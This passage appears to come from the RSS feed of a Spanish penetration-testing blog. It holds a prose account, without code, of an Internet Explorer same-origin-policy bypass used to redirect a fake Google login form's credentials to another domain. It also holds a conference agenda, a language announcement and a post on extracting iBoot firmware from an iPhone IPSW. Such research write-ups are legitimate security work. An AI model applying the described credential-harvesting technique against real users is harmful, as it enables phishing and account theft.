&quot;&lt;b&gt;x&lt;/b&gt;&quot;. Entonces espera unos pocos segundos (1 segundo en el código mostrado) y muestra un mensaje. Como comentaba antes, este &quot;alert&quot; parece ser importante así que no lo podemos borrar, pero podemos elegir un mensaje que no haga advertir al usuario que algo malo está pasando. Después de eso, cuando el primer iframe ha cambiado del atacante al sitio victima (debido a 1.php) el código Javascript y HTML es inyectado en ese segundo iframe. No deberíamos ser capaces, porque es un dominio diferente, pero lo somos. &lt;b&gt;Nos hemos saltado la same-origin-policy&lt;/b&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Vamos a ver como lo vería una víctima:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-_a2j3skcLNY/VNOJ2Y6vkdI/AAAAAAAAB3I/Mvb8V29vwYE/s1600/1popup.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-_a2j3skcLNY/VNOJ2Y6vkdI/AAAAAAAAB3I/Mvb8V29vwYE/s1600/1popup.png&quot; height=&quot;424&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Algunos paises tienen leyes específicas sobre cookies y los sitios web tienen que mostrar un mensaje como éste. Muchos usuarios se han acosutmbrado a ellos y simplemente pulsan aceptar.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-604tIZWHQZk/VNOKTbfduBI/AAAAAAAAB3Q/Mobu6OwuiMg/s1600/2post.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-604tIZWHQZk/VNOKTbfduBI/AAAAAAAAB3Q/Mobu6OwuiMg/s1600/2post.png&quot; height=&quot;424&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Cuando injecté código en el iframe, utilicé un botón de google, de estos que se usan para autenticarte en sitios externos. Puede que no sea el blog más bonito del mundo, pero... parece un blog de verdad :)&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-ogfKJ422SLE/VNOKwGIJpTI/AAAAAAAAB3Y/fBXecMBWi5E/s1600/3google.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-ogfKJ422SLE/VNOKwGIJpTI/AAAAAAAAB3Y/fBXecMBWi5E/s1600/3google.png&quot; height=&quot;560&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Se abre la pantalla de autenticación de Google. Todo parece correcto pero el javascript debería haber cambiado al &quot;action&quot; del formulario de login, con lo que las credenciales deberían ir a un dominio diferente.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-dty6ObyNNNM/VNOLD-Zi4FI/AAAAAAAAB3g/LmC4x8VjAHw/s1600/4grab.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-dty6ObyNNNM/VNOLD-Zi4FI/AAAAAAAAB3g/LmC4x8VjAHw/s1600/4grab.png&quot; height=&quot;558&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;¡Hecho! Una vulnerabilidad realmente interesante. No puedo esperar a que salgan más detalles de la vulnerabilidad y ver porque los &quot;alert&quot;, &quot;eval&quot; y &quot;setTimeout&quot; son tan importantes.&lt;/div&gt;</description><link>http://www.pentester.es/2015/02/an-ie-same-origin-policy-bypass.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-xHxcxw5KF30/VNOCf48h4sI/AAAAAAAAB2k/S3-a9a4d4NI/s72-c/Exploit.png" height="72" width="72"/><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-4604450181301760730</guid><pubDate>Mon, 20 Oct 2014 16:20:00 +0000</pubDate><atom:updated>2014-10-20T18:20:34.913+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PentesterEs</category><title>Pentester.Es ahora en Inglés</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Durante los últimos 7 años he estado escribiendo este blog de seguridad en Español:&amp;nbsp;&lt;b&gt;&lt;a href=&quot;http://www.pentester.es/&quot; target=&quot;_blank&quot;&gt;Pentester.Es&lt;/a&gt;&lt;/b&gt;. En su momento decidí empezar a escribirlo en Español porque es mi lengua materna y porque trabajo principalmente para empresas y personas Españolas.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Alrededor de hace un año decidí que debería iniciar un proceso de &quot;internacionalización&quot;. Hace unos pocos días di mi primera charla en Inglés en la Black Hat Europe y ahora es el momento de empezar a escribir los artículos del blog en Inglés.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Así que... ahora hay un selector de idioma en la parte superior derecha de la web. No voy a traducir los artículos viejos, pero todos los nuevos los voy a ir escribiendo en Inglés y en Español.&lt;/div&gt;</description><link>http://www.pentester.es/2014/10/pentesteres-now-in-english.html</link><author>noreply@blogger.com (Jose Selvi)</author><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-6425103567797395634</guid><pubDate>Mon, 01 Sep 2014 11:08:00 +0000</pubDate><atom:updated>2014-09-05T22:42:35.722+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Conferencias</category><title>Agenda de Septiembre y Octubre</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Septiembre y Octubre, como quien no quiere la cosa, está plagado de conferencias y eventos de seguridad por casi todo el país. Durante los pasados meses he mandado algunas propuestas a los CFP de las diferentes charlas y he tenido la suerte de que sean aceptadas, así que tocan un par de meses de pasearse por ahí :)&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://www.rootedcon.es/vlc/&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-Pq0yngafH4Y/VARFE3cDscI/AAAAAAAABuA/8oHha-i-E-8/s1600/rooted.png&quot; height=&quot;105&quot; width=&quot;320&quot;&gt;&lt;/a&gt;&lt;span id=&quot;goog_153164103&quot;&gt;&lt;/span&gt;&lt;span id=&quot;goog_153164104&quot;&gt;&lt;/span&gt;&lt;a href=&quot;https://www.blogger.com/&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;El primero de los eventos es la &lt;b&gt;RootedCON Satellite Edition&lt;/b&gt;, el &lt;b&gt;19 y 20 de Septiembre&lt;/b&gt;, una iniciativa de los organizadores de la &lt;b&gt;RootedCON&lt;/b&gt; que pretende acercar charlas de seguridad de primer nivel a todas las ciudades de España. Este año, en su primera edición, la ciudad elegida es &lt;b&gt;Valencia&lt;/b&gt;, mi ciudad natal, así que era un evento que no podía perderme. Fin de semana de charlas de seguridad, paseos por la Ciudad de las Artes y las Ciencias y bañito en la playa, que aún tendremos buena temperatura ¿Se puede pedir más?&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En este evento hablaremos un poco de exploits, de lo frustrante que es a veces para un Pentester cuando lanzas un exploit y el condenado no funciona, y como podemos, en ocasiones, usar un poco de &quot;brujería&quot; para hacer que finalmente funcione.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Todos los detalles en la &lt;a href=&quot;https://www.rootedcon.es/vlc/&quot; target=&quot;_blank&quot;&gt;PÁGINA OFICIAL DEL EVENTO&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://navajanegra.com/nn4ed.php&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-AbZwO8e_kPM/VARIt64uvCI/AAAAAAAABuI/fsrZ7t2vba0/s1600/nn4ed.png&quot; height=&quot;85&quot; width=&quot;400&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Un par de semanas después, los días &lt;b&gt;2, 3 y 4 de Octubre&lt;/b&gt;, nos desplazaremos a &lt;b&gt;Albacete&lt;/b&gt; a dar una charla en las conferencias &lt;b&gt;Navaja Negra&lt;/b&gt;, que a pesar de tener menos volumen de asistentes que otras macro-conferencias del panorama nacional, cuenta siempre con una calidad muy alta en sus charlas.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En esta charla os contaré un caso real de como realizamos una simulación de un ataque dirigido (APT) contra un alto directivo de una importante empresa española. Móviles, exploiting, puertas traseras, ingeniería social, ... todo mezclado y revuelto ¿Te apetece ver como acaba la historia? Apúntate en la &lt;a href=&quot;http://navajanegra.com/nn4ed.php&quot; target=&quot;_blank&quot;&gt;PÁGINA OFICIAL&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://www.blackhat.com/eu-14/&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-pZb42lm_vOQ/VARMAeZpbFI/AAAAAAAABuQ/lNIc7LtOYYg/s1600/blackhat.png&quot; height=&quot;215&quot; width=&quot;400&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Los días &lt;b&gt;16 y 17 de Octubre&lt;/b&gt; damos un salto un poco más largo y nos vamos hasta &lt;b&gt;Amsterdam&lt;/b&gt;, a dar una charla en las conferencias &lt;b&gt;BlackHat Europe&lt;/b&gt;, la edición europea de las conocidas conferencias BlackHat, que tienen diferentes ediciones por todo el mundo.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En la charla hablaremos sobre conexiones HTTPS, la cabecera HTTP Strict Transport Security y sobre algunas circunstancias en las cuales esta protección podría perder su efectividad. Más información en la &lt;a href=&quot;https://www.blackhat.com/eu-14/&quot; target=&quot;_blank&quot;&gt;PÁGINA OFICIAL&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://www.conectaconjaen.org/&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-LWDZqNsgAjw/VAROf8eX4TI/AAAAAAAABuY/_KUhhGdxG30/s1600/conectacon.png&quot; height=&quot;200&quot; width=&quot;200&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Aunque por motivos de agenda este año me ha resultado imposible repetir dando charla en &lt;b&gt;ConectaCON&lt;/b&gt;, me parecería injusto no mencionarla, ya que siempre cuenta con un buen cartel de ponentes y con charlas de gran interés, así que si tenéis la oportunidad pasaros los próximos &lt;b&gt;23 y 24 de Octubre&lt;/b&gt; por &lt;b&gt;Jaén&lt;/b&gt; a disfrutar del evento. &lt;a href=&quot;http://www.conectaconjaen.org/&quot; target=&quot;_blank&quot;&gt;PÁGINA OFICIAL&lt;/a&gt;.&lt;br&gt;&lt;br&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-P6U2A2IF4IY/VAVzji41vrI/AAAAAAAABuw/RmV19Av3FlI/s1600/gsickminds.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-P6U2A2IF4IY/VAVzji41vrI/AAAAAAAABuw/RmV19Av3FlI/s1600/gsickminds.png&quot; height=&quot;92&quot; width=&quot;400&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;Otra de las conferencias por las que este año no me podré pasar pero que es más que recomendable son las conferencias &lt;b&gt;GSickMinds&lt;/b&gt; que tendrán lugar en &lt;b&gt;La Coruña&lt;/b&gt; los días &lt;b&gt;29, 30 y 31 de Octubre&lt;/b&gt;. Estas conferencias tienen el aliciente de contar habitualmente con ponentes invitados de altísimo nivel, como por ejemplo Angel Prado y Juliano Rizzo, que el año pasado estuvieron hablando de las debilidades en SSL que publicaron y de las que habían andado hablando por las principales conferencias del mundo.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://www.noconname.org/&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-RgTXyrlSMGY/VARQOQjBLKI/AAAAAAAABug/vWoWA5C0Ty4/s1600/ncn.png&quot; height=&quot;141&quot; width=&quot;320&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Aunque tampoco estré finalmente este año, los días &lt;b&gt;31 de Octubre y 1 de Noviembre&lt;/b&gt;&amp;nbsp;tenéis en &lt;b&gt;Barcelona&lt;/b&gt;&amp;nbsp;la conferencia &lt;b&gt;No cON Name&lt;/b&gt;, la más veterana de las conferencias (públicas) Españolas y, junto con RootedCON, el referente en los eventos de seguridad del país. La NcN tiene el aliciente de contar con un magnifico reto de Capture de Flag (CTF). El año pasado fue organizado por el equipo de seguridad de FaceBook y tengo que decir que me lo pasé realmente bien participando.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Apuntaros YA en la &lt;a href=&quot;https://www.noconname.org/&quot; target=&quot;_blank&quot;&gt;PÁGINA OFICIAL&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2014/09/agenda-de-septiembre-y-octubre.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-Pq0yngafH4Y/VARFE3cDscI/AAAAAAAABuA/8oHha-i-E-8/s72-c/rooted.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-6939763951372846918</guid><pubDate>Fri, 07 Feb 2014 11:00:00 +0000</pubDate><atom:updated>2014-02-24T08:57:37.435+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">iOS</category><category domain="http://www.blogger.com/atom/ns#">SeguridadMoviles</category><category domain="http://www.blogger.com/atom/ns#">Vulnerabilidad</category><title>Vulnerabilidad en el iBoot de iPhone 4S</title><description>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;Hace unos pocos días pudimos ver en Twitter como un conocido Jailbreaker, &lt;a href=&quot;https://twitter.com/iH8sn0w&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;iH8sn0w&lt;/b&gt;&lt;/a&gt;, comentaba haber encontrado una vulnerabilidad en los dispositivos con procesador A5 de Apple (iPhone 4S, por ejemplo).&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-ypngjV0a424/UvSvqJ2EV6I/AAAAAAAABfY/x3zvKyh52V0/s1600/Twitter1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-ypngjV0a424/UvSvqJ2EV6I/AAAAAAAABfY/x3zvKyh52V0/s1600/Twitter1.png&quot; height=&quot;166&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Según sus propias palabras, la vulnerabilidad se encontraría en el iBoot, una de las partes del arranque de los dispositivos de Apple que se ejecuta previamente a la ejecución del kernel del sistema operativo iOS.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-SkyfkEc7xLU/UvSwDuIlEwI/AAAAAAAABfg/usYlmf9J26U/s1600/SecureChain.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-SkyfkEc7xLU/UvSwDuIlEwI/AAAAAAAABfg/usYlmf9J26U/s1600/SecureChain.png&quot; height=&quot;212&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;El arranque de un dispositivo iOS se realiza mediante la llamada &quot;Secure Boot Chain&quot;, en la que cada etapa realiza sus acciones pertinentes y comprueba la firma de la siguiente etapa antes de otorgarle el control.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La primera etapa de todas, el bootrom, se escribe en el dispositivo en el momento del ensamblaje, y no puede ser cambiada ni actualizada en toda la vida del mismo. Las vulnerabilidades en alguno de estos elementos del arranque, o en el propio kernel, permitirían evadir esta protección de la firma, y por lo tanto arrancar versiones modificadas del kernel, que es en lo que consiste un Jailbreak.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;No obstante, a pesar de que el propio iH8sn0w comenta que, a partir de ahora, los dispositivos A5 son &quot;Jailbreakeables&quot; de por vida, a priori únicamente las vulnerabilidades en el bootrom serían de este tipo, ya que al estar embebido en el propio hardware es el único elemento que no puede ser actualizado por Apple. El iBoot, elemento en el que parece existir la vulnerabilidad, se encuentra dentro de la imagen del sistema operativo iOS que descargamos en el momento de realizar una actualización, dentro del fichero IPSW, por lo que Apple podría corregir la vulnerabilidad en próximas releases.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Dado que los detalles de la vulnerabilidad aún no han sido publicados y todavía no podemos ponernos a jugar con ella, vamos a descargar el IPSW de una versión vulnerable y a intentar extraer la imagen del iBoot. Para ello lo primero que vamos a hacer es descargar la imagen con la que vamos a trabajar, por ejemplo la versión 7.0.4 para iPhone 4S, de la conocida web &lt;a href=&quot;http://ipswdownloader.com/&quot;&gt;ipswdownloader.com&lt;/a&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-wHko8QZgmhk/UvSwss5hH0I/AAAAAAAABfo/UhLU3xzy4SQ/s1600/Download.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-wHko8QZgmhk/UvSwss5hH0I/AAAAAAAABfo/UhLU3xzy4SQ/s1600/Download.png&quot; height=&quot;85&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;El fichero IPSW no es más que un ZIP al que se le ha cambiado la extensión, pero sus ficheros se encuentran cifrados mediante el algoritmo AES, empleando claves a priori desconocidas. Veamoslo:&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;$ &lt;b&gt;file iPhone4,1_7.0.4_11B554a_Restore.ipsw&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;iPhone4,1_7.0.4_11B554a_Restore.ipsw: Zip archive data, at least v2.0 to extract&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;$ &lt;b&gt;unzip iPhone4,1_7.0.4_11B554a_Restore.ipsw&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;Archive:  iPhone4,1_7.0.4_11B554a_Restore.ipsw&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating: 058-1077-002.dmg&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating: 058-1108-002.dmg&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating: 058-1124-002.dmg&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating: BuildManifest.plist&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;creating: Firmware/&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;creating: Firmware/all_flash/&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;creating: Firmware/all_flash/all_flash.n94ap.production/&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating:&amp;nbsp;&lt;/i&gt;&lt;i&gt;Firmware/all_flash/all_flash.n94ap.production/applelogo@2x~iphone.s5l8940x.img3&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating: F&lt;/i&gt;&lt;i&gt;irmware/all_flash/all_flash.n94ap.production/batterycharging0@2x~iphone.s5l8940x.img3&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating:&amp;nbsp;&lt;/i&gt;&lt;i&gt;Firmware/all_flash/all_flash.n94ap.production/batterycharging1@2x~iphone.s5l8940x.img3&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating:&amp;nbsp;&lt;/i&gt;&lt;i&gt;Firmware/all_flash/all_flash.n94ap.production/batteryfull@2x~iphone.s5l8940x.img3&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating:&amp;nbsp;&lt;/i&gt;&lt;i&gt;Firmware/all_flash/all_flash.n94ap.production/batterylow0@2x~iphone.s5l8940x.img3&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating:&amp;nbsp;&lt;/i&gt;&lt;i&gt;Firmware/all_flash/all_flash.n94ap.production/batterylow1@2x~iphone.s5l8940x.img3&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating:&amp;nbsp;&lt;/i&gt;&lt;i&gt;Firmware/all_flash/all_flash.n94ap.production/DeviceTree.n94ap.img3&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating:&amp;nbsp;&lt;/i&gt;&lt;i&gt;Firmware/all_flash/all_flash.n94ap.production/glyphplugin@2x~iphone-30pin.s5l8940x.img3&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating:&amp;nbsp;&lt;/i&gt;&lt;i&gt;Firmware/all_flash/all_flash.n94ap.production/iBoot.n94ap.RELEASE.img3&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating:&amp;nbsp;&lt;/i&gt;&lt;i&gt;Firmware/all_flash/all_flash.n94ap.production/LLB.n94ap.RELEASE.img3&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating: Firmware/all_flash/all_flash.n94ap.production/manifest&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating:&amp;nbsp;&lt;/i&gt;&lt;i&gt;Firmware/all_flash/all_flash.n94ap.production/recoverymode@2x~iphone-30pin.s5l8940x.img3&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;creating: Firmware/dfu/&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating: Firmware/dfu/iBEC.n94ap.RELEASE.dfu&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating: Firmware/dfu/iBSS.n94ap.RELEASE.dfu&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating: Firmware/Trek-5.0.02.Release.bbfw&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating: Firmware/Trek-5.0.02.Release.plist&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;creating: Firmware/usr/&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;creating: Firmware/usr/local/&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;creating: Firmware/usr/local/standalone/&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating: kernelcache.release.n94&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;inflating: Restore.plist&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;$ &lt;b&gt;srch_strings Firmware/dfu/iBSS.n94ap.RELEASE.dfu | head -10&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;3gmI&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: 